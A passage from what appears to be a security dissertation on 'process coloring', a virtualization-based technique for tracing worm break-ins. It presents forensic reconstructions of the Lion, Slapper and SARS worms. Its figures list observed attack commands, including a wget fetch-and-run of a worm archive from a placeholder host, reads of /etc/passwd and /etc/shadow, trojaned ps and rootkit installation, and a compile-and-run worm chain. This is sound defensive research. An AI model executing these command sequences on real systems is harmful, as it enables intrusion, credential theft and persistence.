(i.e. accesses to unrelated services) in the experiments will further reduce the percentage

of worm-related log. (3) As the worm break-in point (vulnerable service) is identified

before log analysis, it is possible to further filter the log entries that record normal accesses
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to the vulnerable service, which have known and different footprint from that of a worm

infection.

6.4.2.1 Lion Worm Contamination Investigation

NFS/RPC Service

xinetd Service

LPD Service

Sendmail Service

DNS Service

353: portmap

378: rpc.statd

497: xinetd

533: lpd

31122: named

1: init

581: sendmail

Figure 6.5. A process coloring view of a vulnerable system before Lion infection

Figure 6.5 shows a process coloring view of an uninfected system running a BIND

server vulnerable to the Lion worm. There are also a number of other services hosted

at the same system: NFS/RPC service (portmap and rpc.statd), printer service (lpd), and

mail service (sendmail). A different color is assigned to each service. Process named has

the color “RED.” The Lion worm is unleashed from a different VM in the vGround3. Af-

ter the experiment, we obtain a log file whose entries are conveniently partitioned by their

colors. Among the “RED” entries whose provenance is the named process, we observe

an abnormal event that a shell process was spawned. This is one of the contamination

inflicted by the Lion worm. To further reduce the inspected log volume, entries generated

by normal accesses to the BIND server from other legitimate VM clients in the vGround

3This “seed” worm is instrumented to target the vulnerable VM for infection. However, the transferred
worm replica is unmodified.
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are filtered. We then use the remaining “RED” log entries to derive a Lion worm contam-

ination graph as shown in Figure 6.6.

We confirm that Figure 6.6 reveals all Lion worm contamination by comparing our

results with a detailed Lion worm report [2]. The leftmost oval is the vulnerable named

daemon (PID: 31122). After a successful exploitation of the named process, a worm

replica is downloaded (Circle 2 in Figure 6.6). The worm then overwrites all HTML files

named index.html in the system with a self-carried HTML file for web defacement (Circle

3). We observe from the log that the worm attempts to execute the file replacement twice -

a detail not reported in [2]. The first attempt to replace files is within the shell code (PID:

31181) after executing the malicious buffer overrun code (Circle 2 and Circle 3). The

second attempt happens when the driving script ./1i0n.sh (PID: 31347) is executed (Circle

4). The worm then tries to initiate the next round of infection (Circle 4). In the thick

dotted circle inside Circle 4, we find two “RED” dangling files bind and bindx.sh, which

are introduced by the worm but never accessed by any worm-related process. Such an

anomaly deserves a further investigation. A forensic analysis of the VM reveals that these

two files contain the exploitation code for the BIND vulnerability. As there is only one

VM running the vulnerable BIND service in the vGround, the worm cannot find another

host to infect and the file bindname.log storing IP addresses of possible victims is empty.

As a result, the exploitation code is never launched.

6.4.2.2 Slapper Worm Contamination Investigation

The Slapper worm experiment is conducted in a different vGround. We initially as-

sign colors to service processes in an uninfected VM. The vulnerable Apache service is

assigned “RED.” Through direct diffusion, all spawned httpd worker processes are also

colored “RED.” A process coloring view of the system before the Slapper infection is

shown in Figure 6.7. The experiment involves accesses to the other services as well as

normal web accesses requesting a 2890-byte index.html file.

After the experiment, an examination on the log file shows a flurry of “RED” log

entries (> 10000) within a very short period (1 minute) - an anomaly indicating a possible
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Sendmail Service

crond Service

Apache Service

xinetd Service

NFS/RPC Service

453: portmap

633: xinetd

673: sendmail

697: crond

2182: crond 2183: run−parts 2193: awk

2523: httpd

2555: httpd

2556: httpd

2557: httpd

2558: httpd

2559: httpd

2560: httpd

2561: httpd

2562: httpd

2563: httpd

1: init

Figure 6.7. A process coloring view of a Slapper-vulnerable system before infection

infection. As the “RED” color is associated with the Apache web server, we select all

“RED” log entries, which constitute 65.9% of the entire log file. A quick review of these

log entries shows that the Slapper worm infection has a large and distinct footprint in the

infected host. During the transmission of a Slapper worm, an uuencoded source file is

sent from the infecter to the victim. More specifically, the sender issues a sendch call

for each byte of the uuencoded file. Correspondingly, the receiver uses a sys read for

each byte received (total 94320 calls). Moreover, each encoded byte is then written (the

cat command) to a local file named /tmp/.uubugtraq, leading to another 94320 sys write

system calls. In sharp contrast, each normal web access only generates 15 log entries,

recording the known normal sequence of Apache server actions. Therefore, we remove

these (“RED”) entries before constructing the Slapper worm contamination graph (Figure

6.8)4.

4A general intrusion may mimic the normal sequence of service access actions [145]. However, it is more
diffi cult for self-propagating worms to do so because their outgoing propagation behavior is semantically
different from a normal service access.
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2: Recovering the original
source file by uudecoding it

1: Downloading the worm
as a uuencoded file

4: Activating the worm to start next round of infection

A
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C

A: /tmp/.uubugtraq               B: /tmp/.bugtraq.c              C: /tmp/.bugtraq

3: Generating the Slapper worm binary by locally compiling the source

2568: httpd

2568(execve): /bin/bash −i

2595: /tm
p/.bugtraq 192.168.2.2

2568: httpd

fd 5 after accept

2568(execve): /bin//sh

inet sock(80)

2568(execve): /bin/bash −i

2587: /bin/cat

unix sock("/var/run/.nscd_socket")

2586: /bin/rm −rf /tmp/.bugtraq.c

2588: /usr/bin/uudecode −o /tmp/.bugtraq.c /tmp/.uubugtraq

2589: /usr/bin/gcc −o /tmp/.bugtraq /tmp/.bugtraq.c −lcrypto

2595: /tmp/.bugtraq 192.168.2.2

unix sock("/var/run/.nscd_socket")

/tmp/.uubugtraq

/tmp/.bugtraq.c

2590: /usr/lib/gcc−lib/i386−redhat−linux/2.96/cpp0

2591: /usr/lib/gcc−lib/i386−redhat−linux/2.96/cc1

2592: /usr/bin/gcc 2593: /usr/lib/gcc−lib/i386−redhat−linux/2.96/collect2

/tmp/cc7Bh66a.i

/tmp/ccGXrYjN.s

/tmp/cc0u8DTM.ld2592(execve): /usr/local/bin/as2592(execve): /bin/as

2592(execve): /usr/bin/as

2594: /usr/bin/ld
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RED: 2523["httpd"]: 2_fork(void) = 2567 (rule 2)
RED: 2567["httpd"]: 214_setgid(48) = 0 (rule 16)
RED: 2567["httpd"]: 5_open("/etc/group", 0, 438) = 5 (rule 3)
...
RED: 2567["httpd"]: 5_open("/var/nis/NIS_COL...", 0, 438) = −2 (rule 3)
RED: 2567["httpd"]: 206_setgroups(1, 081eb4c0) = 0 (rule 49)
RED: 2567["httpd"]: 213_setuid(48) = 0 (rule 15)
...
BROWN: 673["sendmail"]: 5_open("/proc/loadavg", 0, 438) = 5 (rule 3)
BROWN: 673["sendmail"]: 192_mmap2(0, 4096, 3, 34, 4294967295, 0) = 1073868800 (rule 44)
BROWN: 673["sendmail"]: 3_read(5, "0.26 0.10 0.03 2...", 4096) = 25 (rule 4)
BROWN: 673["sendmail"]: 6_close(5) = 0 (rule 6)
BROWN: 673["sendmail"]: 91_munmap(1073868800, 4096) = 0 (rule 34)
...
RED: 2567["httpd"]: 102_accept(16, sockaddr{2, cac91f3a}, cac91f38) = 5 (rule 55)
RED: 2567["httpd"]: 3_read(5, "\1281\1\0\2\0\24...", 11) = 11 (rule 4)
RED: 2567["httpd"]: 3_read(5, "\7\0À\5\0\128\3\...", 40) = 40 (rule 4)
RED: 2567["httpd"]: 4_write(5, "\132@\4\0\1\0\2\...", 1090) = 1090 (rule 5)
RED: 2567["httpd"]: 3_read(5, "\128Ê", 2) = 2 (rule 4)
RED: 2567["httpd"]: 3_read(5, "\2\1\0\128\0\0\0...", 202) = 202 (rule 4)
RED: 2567["httpd"]: 4_write(5, "\128!\132ýFÞ\7B| ...", 35) = 35 (rule 5)
RED: 2567["httpd"]: 3_read(5, "\128!", 2) = 2 (rule 4)
RED: 2567["httpd"]: 3_read(5, "\0RØÔþn-A¸÷?(\1\...", 33) = 33 (rule 4)
RED: 2567["httpd"]: 4_write(5, "\128\129ôh¸\132«...", 131) = 131 (rule 5)
RED: 2567["httpd"]: 3_read(5, "(nil", 32769) = 0 (rule 4)
RED: 2567["httpd"]: 6_close(5) = 0 (rule 6)

Figure 6.9. Log excerpt showing the first exploitation of the Slapper
worm attempting to get the overwritable heap address in the vulnerable
Apache server. BROWN log entries are not related.

worm exploits an httpd worker process (PID:2568) to gain system access. After that, an

uuencoded version of the worm source code is downloaded (Circle 1 in Figure 6.8) and

uudecoded (Circle 2) to reconstruct the original code, which is then compiled (Circle 3)

to generate the worm binary. The binary is executed (Circle 4) to attempt to infect other

hosts. The collected log data further reveal that the exploitation of the Slapper worm is

complex. Before the httpd worker process (PID: 2568) is exploited, 23 TCP connections

have already been established with different http worker processes between the infecter

and the victim. Among them, 21 connections have no payload; one connection is an invalid

HTTP request, which turns out to be a request to obtain the Apache server version; the last

connection has a short interaction as shown in the log excerpt in Figure 6.9. From [10], we

know that one of the 21 plain connections is used to validate the reachability of the Apache

server, while the other 20 connections are made for depleting the Apache server pool to

make sure that the two subsequent exploitations will have the same heap layout. The
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first exploitation aims at reliably deriving the over-writable heap address in the vulnerable

Apache server. This heap address is then reused in the second exploitation. All these

connections and interactions are recorded by “RED” log entries.

6.4.2.3 SARS Worm Contamination Investigation

Sambe Service − the Entry Point of SARS Worm

NFS/RPC Service

SSH Service

DHCP Service

xinetd Service

Sendmail Service

5721: smbd 6277: smb

5725: nmbd

6279: /bin//sh

6280: /bin//sh

6282: /bin/tar zxvf sars.tar.gz

6284: /bin/rm −rf sars.tar.gz

6285: ./start.sh669: sendmail

679: sendmail

494: portmap

513: rpc.statd

632: sshd

6411: dhclient

1: init

646: xinetd

6281: /usr/bin/wget http://xxx.xxx.xxx/xxx/sars.tar.gz

Figure 6.10. A process coloring view of a Redhat 8.0 system running
multiple servers after it is infected by the SARS worm

The SARS worm is a multi-platform worm, which is able to propagate across all major

distributions of Linux platforms (Redhat, Debian, SuSE, Mandrake, and Gentoo) and BSD

platforms (FreeBSD, OpenBSD, and NetBSD). Since our current prototype is based on

UML virtual machines, our experiment is conducted in a Linux-based vGround. The

vulnerable Samba service is assigned “RED.”

After the experiment, only 12.1% of the entire log data are “RED,” because of the

large number of log entries generated by other background services (e.g. sendmail, sshd,

and dhclient) running in the Redhat 8.0 system. Derived from the “RED” log entries,

Figure 6.10 shows the Redhat 8.0-based system after the infection of the SARS worm.

Process smbd (PID: 5721) and process nmbd (PID: 5725) have the same color (“RED”) as
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    6285:
./start.sh

   and an ICMP−based backdoor
4: Compiling a trojan ps command

5: Contaminating system
with a rootkit installation

6: Collecting host info. and sending
    it to a hard−coded email address 

1: Collecting local host information

2: Contaminating xinetd

3: Contaminating crond

7: Starting next round of worm infection

6313: /bin/mv thttpd /etc/xinetd.d

6314: /bin/mv shttpd /usr/lib

Legend:

6400: ./start

6285: ./start.sh

6288: /bin/chmod 777 samd shttpd ranip.pl

6289: ./getip

6308: /bin/chmod 777 myipb getip start

6309: /bin/chmod a+r thttpd index.html 

6310: /usr/bin/killall −9 xinetd

6311: /usr/bin/killall −9 httpd

6312: /usr/bin/killall −9 httpd

6315: /usr/sbin/xinetd

6320: /bin/touch −r 0anacron.bak /etc/cron.daily/0anacron 

6326: /bin/chmod 777 mail.sh mail2.sh run

6327: /bin/chmod a+r icmp.c ps.c 

6333: /usr/bin/cc −o ps ps.c 

6338: /bin/cp /usr/bin/sars /bin/ps

6340: /bin/mv /usr/lib/.lib/rc.local.bak /etc/rc.d/rc.local

6341: /bin/cp /bin/ps /usr/bin/sars

6342: /bin/cp ps /bin

6344: /bin/cp /etc/rc.d/rc.local rc.local.bak

6345: /bin/touch −r /usr/lib/.lib/rc.local.bak /etc/rc.d/rc.local 

6346: /bin/chown root.root /bin/ps /usr/bin/sars 

6347: /bin/rm −rf /usr/lib/lib/

6349: /usr/bin/killall −9 samd

6350: /usr/bin/killall −9 sama

6352: /usr/bin/killall −9 samc

6353: /usr/bin/killall −9 same

6354: /usr/bin/killall −9 samf

6355: /usr/bin/killall −9 ddos

6356: ./mkip.pl

6357: /usr/bin/nohup ./ddos

6358: /bin/chmod a+rx /etc/cron.hourly/0anacron

6359: /usr/bin/killall −9 crond

6361: /usr/sbin/crond

6364: /bin/cp /sbin/klogd /usr/lib/klogd.so

6365: /bin/cp icmp /sbin/klogd

6366: /bin/touch −r /usr/lib/klogd.so /sbin/klogd 

6367: /bin/chown root.root /sbin/klogd /usr/lib/klogd.so 

6368: /sbin/klogd

6370: /sbin/ifconfig

6371: /bin/cat /etc/hosts

6372: /bin/cat /etc/passwd

6373: /bin/cat /etc/shadow

6374: ./mail.sh

6290: /sbin/route −n

6297: /usr/bin/awk {printf("%s",$1)}

6300: /usr/bin/awk {printf("%s",$1)}

6334: /usr/lib/gcc−lib/i386−redhat−linux/3.2/cc1 −lang−c −D__GNUC__=3 −D__GNUC_MINOR__=2 −D__GNUC_PATCHLEVEL__=0

6336: /usr/lib/gcc−lib/i386−redhat−linux/3.2/collect2

6332: /usr/bin/ld

6337: /usr/bin/ld

6375: ./getip

6390: /usr/bin/clear

6391: /bin/cat myip

6393: /usr/bin/clear

6394: /bin/cat myip

6396: /bin/chmod 755 go go2 

6397: ./go

6398: ./go2

6376: /sbin/route −n

6380: /usr/bin/awk {printf("%s",$1)}

6383: /usr/bin/awk {printf("%s",$1)}

6386: /usr/bin/awk {printf("%s",$1)}

6389: /usr/bin/awk {printf("%s",$1)}

6401: /bin/rm −rf .log .log1 .log2

6402: /bin/cp samd sama

6403: /bin/cp samd samb

6404: /bin/cp samd samc

6405: /bin/cp samd same

6406: /bin/cp samd samf

6407: ./ranip.pl

6408: /usr/bin/nohup ./sama −S 27.234 

6409: ./ranip.pl

6411: /usr/bin/nohup ./samb −S 100.93 

6412: ./ranip.pl

6414: /usr/bin/nohup ./samc −S 82.181 

6415: /bin/cat myip

6418: ./myipb

6428: /usr/bin/nohup ./samf −S . 

6421: /usr/bin/id −gn

6423: /usr/bin/id −un

6425: /usr/bin/id −u

6426: /bin/cut −d. −f 1 myip

6427: /bin/cut −d. −f 2 myip

6400: ./start

6363: /usr/bin/killall −9 klogd

6313: /bin/mv thttpd /etc/xinetd.d

6319: /bin/cp /etc/cron.daily/0anacron 0anacron.bak

6339: /bin/cp /usr/lib/klogd.so /usr/sbin/klogd

6399: /bin/rm −rf go* mail.txt 

6351: /usr/bin/killall −9 samb

6348: /bin/rm −rf /dev/.lib

6343: /bin/touch −r /usr/bin/sars /bin/ps 

6335: /sbin/as −Qy −o /tmp/ccUkMYNt.o /tmp/cclV7MtJ.s

6331: /usr/lib/gcc−lib/i386−redhat−linux/3.2/collect2

6330: /sbin/as −Qy −o /tmp/ccyEFikA.o /tmp/cc4Cl6Uc.s

6328: /usr/bin/cc −o icmp icmp.c 

6318: /bin/mv 0anacron.bak /etc/cron.daily/0anacron

6314: /bin/mv shttpd /usr/lib

6303: /usr/bin/awk {printf("%s",$1)}

6294: /usr/bin/awk {printf("%s",$1)}

6329: /usr/lib/gcc−lib/i386−redhat−linux/3.2/cc1 −lang−c −D__GNUC__=3 −D__GNUC_MINOR__=2 −D__GNUC_PATCHLEVEL__=0

Figure 6.11. SARS worm contamination reconstructed from “RED” log entries
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both of them belong to the Samba service. From the figure, it seems that the exploitation

code contains some redundancy as two “/bin//sh” processes are executed and one quits

immediately after its creation. These two shell processes are spawned when the buffer

overrun code is executed.

Continuing from process start.sh (PID: 6285, shown in Figure 6.10), Figure 6.11 fur-

ther reveals the contamination inflicted by the SARS worm. For readability, certain edges

and nodes describing intermediate files are omitted. From the figure, we observe that the

SARS worm contains a primitive user-level rootkit (Circle 4 and Circle 5 in Figure 6.11),

whose purpose is to hide the existence of worm-related files, directories, active processes,

and network connections. Also, the SARS worm inserts a number of backdoors such

as a web server and an ICMP-based backdoor, which allow an attacker to access the in-

fected host later. System-wide information such as host IP address, and configuration files

including /etc/hosts and /etc/passwd is collected by the worm and sent to a hard-coded

mail account (Circle 6). The integration of advanced payloads, such as the rootkit in the

SARS worm, indicates a recent trend in the underground evolution of more stealthy self-

propagating worms.

6.5 Other Applications and Possible Attacks

6.5.1 Other Applications

Malware investigation Process coloring can be naturally extended to support general

malware investigation. The goal is to understand possible malicious actions and their

impact on the infected system, which can further guide the recovery from the malware’s

contamination. In particular, process coloring is highly effective in exposing the following

two anomaly points:

• Color mixing: Color mixing refers to the situation where a different color is diffused

to an already-colored process. Based on the rationale of color diffusion, coloring

mixing indicates that the process is influenced by another process with a different

color. Considering the initial assignment of different colors to mutually unrelated
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service processes, such cross-service influence is mostly likely an anomaly and war-

rants further investigation. For example, in one of our experiments, we run BIND

and Apache services in one VM and let the Lion worm infect the VM via the BIND

vulnerability. The Lion worm then contaminates the system by replacing index.html

files with its own. We observe that log entries recording subsequent web accesses

bear the colors of both BIND and Apache.

• Dangling file: A dangling file is created by a malware infection, but is not accessed

during the same infection session. For example, if we re-examine Figures 6.6 and

6.11, some dangling files belong to rootkits/backdoors installed by worms: /sbin/asp

by the Lion worm (Figure 6.6) and /etc/xinetd.d/thttpd and /usr/lib/shttpd by the

SARS worm (Figure 6.11). Though these rootkits are usually installed by stealthy

worms/malware to hide their presence, identification of dangling files can actually

help to reveal the presence of the rootkits.

Run-time monitoring and log visualization As mentioned in Section 6.3.3, the log

push-down mechanism and color-based log partition provide a convenient means to ex-

ternally monitor the running state of a networked server system, without interrupting the

operations of the system. Process coloring can be used to identify possible anomalies re-

vealed by log colors (e.g., color mixing, deviating log pattern for a particular color/service)

during runtime and thus raise more timely alarms. We are currently extending our proto-

type with a log visualization tool, which makes it more intuitive for administrators to

monitor system states.

6.5.2 Possible Attacks and Countermeasures

Jamming attack A worm could intentionally introduce many noise log entries to hide

its actual intention. For example, a worm could invoke a large number of “innocuous”

or unrelated syscalls to hide its real infection attempts. However, tactically speaking,

these actions still need to be considered as a part of the worm’s behavior in the infected

system, even though they may not contribute to any real damage. Also, to the worm’s
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disadvantage, these noise log entries deviate from the normal log pattern of a specific

color and will trigger an alarm. Finally, the capability of color-based identification of

a worm’s entry point is still valid under this attack, though it will take a more careful

analysis to uncover the obfuscated intention.

Low-level attack The integrity of colors associated with active processes and interme-

diate resources are critical to worm investigation. As the current prototype maintains the

color information within the kernel of the system under inspection, it is possible that this

information may be manipulated through certain low-level attacks. For example, if the

process color is associated with the task struct PCB structure, a method called direct ker-

nel object manipulation (DKOM) [146] can be leveraged to explicitly change the color

value (e.g., by writing to the special device file /dev/kmem). Fortunately, solutions such

as CoPilot [147], Livewire [130], and Pioneer [148] have been proposed to address the is-

sue of kernel integrity. Another possible counter-measure is to create a shadow structure,

which is instead maintained by the virtual machine monitor (VMM) and is totally inac-

cessible from inside the VM. Compared with the current prototype, the shadow solution

poses significantly greater challenge in deriving VM operation semantics from low-level

information collected via virtual machine introspection, which may affect the accuracy

and completeness of worm investigation results.

Diffusion-cutting attack It is possible that a worm might use a hidden channel to under-

mine the diffusion. For example, a worm could use an initial part of an attack to crack a

weak password, which is later used in a separate session to gain system access and com-

plete the rest of the worm contamination. Process coloring can track any action performed

within each break-in, but it cannot automatically associate the second break-in with the

first one. However, any anomaly within the second break-in will immediately expose the

responsible login session, which may lead to identification of the cracked password. Based

on the log data from the first break-in, the administrator may still be able to correlate those

two disjunct break-ins.

Color saturation attack If a worm is aware of the coloring scheme, it might attempt

to acquire more colors from different services right after its break-in. As a result, the
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associated colors can not uniquely identify the break-in point. However, to the worm’s

disadvantage, the color saturation attack will immediately lead to an alarm of color mixing

(Section 6.5.1) – an anomaly triggering further investigation. A color saturation attack

does expose a weakness of our current prototype, which uses a single color field. Although

our prototype is able to accommodate multiple colors (each bit in the color field represents

a different color), it is not able to differentiate between an inherited color and a diffused

color. The inherited color of a process can only be inherited from its parent and will not

be changed by its own or others’ behavior. The diffused colors reflect the color diffusions

through its own or others’ actions (e.g., sys read and sys write). With this distinction, the

inherited colors can be used to partition the log data, while the diffused colors can be used

to detect a color saturation attack and naturally identify all color-mixing points for further

examination in affected partitions.

6.6 Related Work

The development of process coloring is inspired by the concept of transitive depen-

dency tracking [149–151], which was originally proposed for failure recovery in fault

tolerant systems. Process coloring also reflects various information flow models [129,

133–135], especially the operating system level information flows [129]. With these con-

cepts and models as theoretical underpinnings, a spectrum of taint-based techniques have

recently been proposed for different aspects of system security: Process coloring operates

at the system call level to reveal worm break-ins and contaminations; TaintCheck [111]

works at the instruction level to detect overwrite attacks and generate exploit signatures

(Section 5.6); TaintBochs [152] focuses on the lifetime tracking of sensitive data (e.g.,

passwords) in a system. While sharing the same design philosophy, these techniques dif-

fer in their goals, design, implementation, and usage.

Process coloring can be integrated into existing log-based intrusion investigation tools

[126, 153] so that they become provenance-aware. BackTracker [126] is able to automat-

ically reconstruct the sequences of steps that occurred during an intrusion based on log
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data. More specifically, starting with an external detection point (e.g., a corrupted file),

BackTracker identifies files and processes that could have affected this detection point

and displays chains of events in a dependency graph. The follow-up work [153] of Back-

tracker proposes a forward tracking capability that identifies all possible damage caused

by the intrusion after the back-tracking session. Both BackTracker and its forward track-

ing extension require the entire log data as input. With process coloring enhancement, the

break-in point of a worm can first be identified by the color of the detection point, and the

volume of input log data will be reduced by color-based log partition, resulting in more

efficient back-tracking and forward-tracking sessions. In addition, the colors and patterns

of log entries may provide alerts at runtime, leading to more timely investigations.

Process coloring can also be applied to enhance file and transaction repair/recovery

systems. The Repairable File Service [128] aims to identify possible file system level

corruption caused by a root process, assuming that the administrator has already iden-

tified the root process that starts an attack or a human-involved error. It then uses the

log data to identify the files that may have been contaminated by that process. The re-

pairable file service implements a limited version of the forward tracking capability by

only tracking file system-level corruption. Meanwhile, a similar technique [127] exists in

the database area, which is capable of recording contamination at the transaction level and

rolling back the damages if the transaction is later found malicious. This technique also

requires external identification of malicious processes or transactions. Process coloring

can enhance these techniques by tracking more sophisticated contamination behavior via

color diffusion, raising anomaly alarms based on log colors and patterns, and achieving

tamper-resistant log collection.

Recent advances in virtual machine technologies have created tremendous opportu-

nities for intrusion monitoring and replay [24, 47, 94, 130], system problem diagnosis

[154–156], attack recovery and avoidance [94,157], and data life-time tracking [152,158].

For example, ReVirt [94] is able to replay a system’s execution at the instruction level.

Time-traveling virtual machines such as [154–156] provide a highly effective means of

re-examining and troubleshooting system execution or configuration. Process coloring
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complements these efforts by leveraging virtual machine technologies for worm break-

in and contamination investigation. In addition, process coloring, as an advanced logging

mechanism, can be integrated into other VM-based networked systems to add provenance-

awareness to these systems.

6.7 Summary

We have presented the design, implementation, and evaluation of process coloring, a

malware defense mechanism that enables provenance-aware tracing of malware break-ins

and contaminations. By associating a unique color to each remotely-accessible service and

diffusing the color based on actions performed by processes in the system, process color-

ing achieves two key benefits: (1) color-based identification of a malware’s break-in point

before detailed log analysis and (2) color-based partitioning of log data. Process coloring

improves log-based malware investigation tools by reducing the amount of log entries to

be processed and by providing color-related “leads” for more timely investigation. Ex-

periments with a number of real-world Internet worms demonstrate the practicality and

effectiveness of process coloring.
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7 CONCLUSION AND FUTURE WORK

7.1 Conclusion

In this dissertation, we have presented an integrated, virtualization-based framework

for malware capture, investigation, and defense. By creating a layer of indirection between

physical resources and software systems, virtualization technology provides unique oppor-

tunities to address challenging problems in computer system security. More specifically,

our framework has demonstrated the power of virtualization in malware research. Using

the virtualization-based Collapsar honeyfarm (Chapter 3) as the front-end, we are able to

capture current malware attacks from the Internet. With vGround, the virtual malware

“playground” (Chapter 4) as the back-end, we are able to perform destruction-oriented

experiments with captured real-world worms or malware. Moreover, our virtualization

technique achieves strong tamper-resistance of log generation and collection in the imple-

mentation of process coloring (Chapter 6).

Based on the observations and insights obtained from this experiment platform, we

gain unique advantages in designing and evaluating advanced malware defense mecha-

nisms. In this dissertation, we present two such mechanisms: behavioral footprinting

(Chapter 5) and process coloring (Chapter 6). Behavioral footprinting enriches a worm’s

profile by characterizing its infection behavior and improves worm identification accuracy

and robustness. Process coloring enables malware forensics by improving the efficiency in

tracking malware break-in points and contaminations, a capability important to post-attack

investigation and recovery.

Meanwhile, our research experience indicates that virtualization is not panacea and

could be attacked or abused by malware. For instance, the Agobot backdoor [159] will

refuse to reveal its contamination behavior if it detects that it is running inside a virtual

machine environment. Moreover, virtualization may be exploited to create stealthy or
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even undetectable malware [160, 161]. These possibilities call for further improvement in

virtualization technology and reflect the never-ending “arms race” between attackers and

defenders.

7.2 Future Work

The integrated malware research framework presented in this dissertation has laid a

solid foundation for future work, especially in advanced malware defense. In the follow-

ing, we propose two future research topics:

• Automating the malware detection, investigation, and defense workflow Current

vulnerability-patching process is manual and slow and can be easily outpaced by

the fast spreading of malware. We believe that an automated workflow of malware

detection, investigation, and defense holds great potentials in creating a malware

defense infrastructure that is parallel to the cyber-infrastructure. We will investi-

gate and evaluate a malware defense workflow that automates the following tasks:

(1) operating a large-scale honeyfarm such as [47, 58] and capturing a new mal-

ware during its early stage of outbreak; (2) investigating the malware in a virtual

playground environment and extracting its multi-dimensional profile; and (3) dis-

tributing the malware profile to end systems and network entities (e.g., gateways

and routers) to prevent further propagation of the malware as well as to recover the

damages already inflicted by the malware. Currently, it remains a challenge how

to automate, optimize, and protect the workflow to make it widely deployable yet

robust against advanced attacks.

• Proactive malware defense This dissertation only presents two reactive malware

defense mechanisms and does not explore the solution space of proactive malware

defense. Based on the weaknesses of current system and application software ex-

posed by our experiments, we are motivated to investigate a proactive approach that

hardens vulnerable programs and makes malware attacks hard to succeed in the

first place. For example, system randomization techniques such as address space
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layout randomization [162] and instruction set randomization [163, 164] randomize

the execution environment of a program and therefore thwart a variety of malware

infection attempts. We will investigate efficient, robust, and non-intrusive runtime

system randomization mechanisms to overcome the limitations of current random-

ization techniques. By combining proactive and reactive techniques, we will be able

to bring our malware defense capabilities to the next level.
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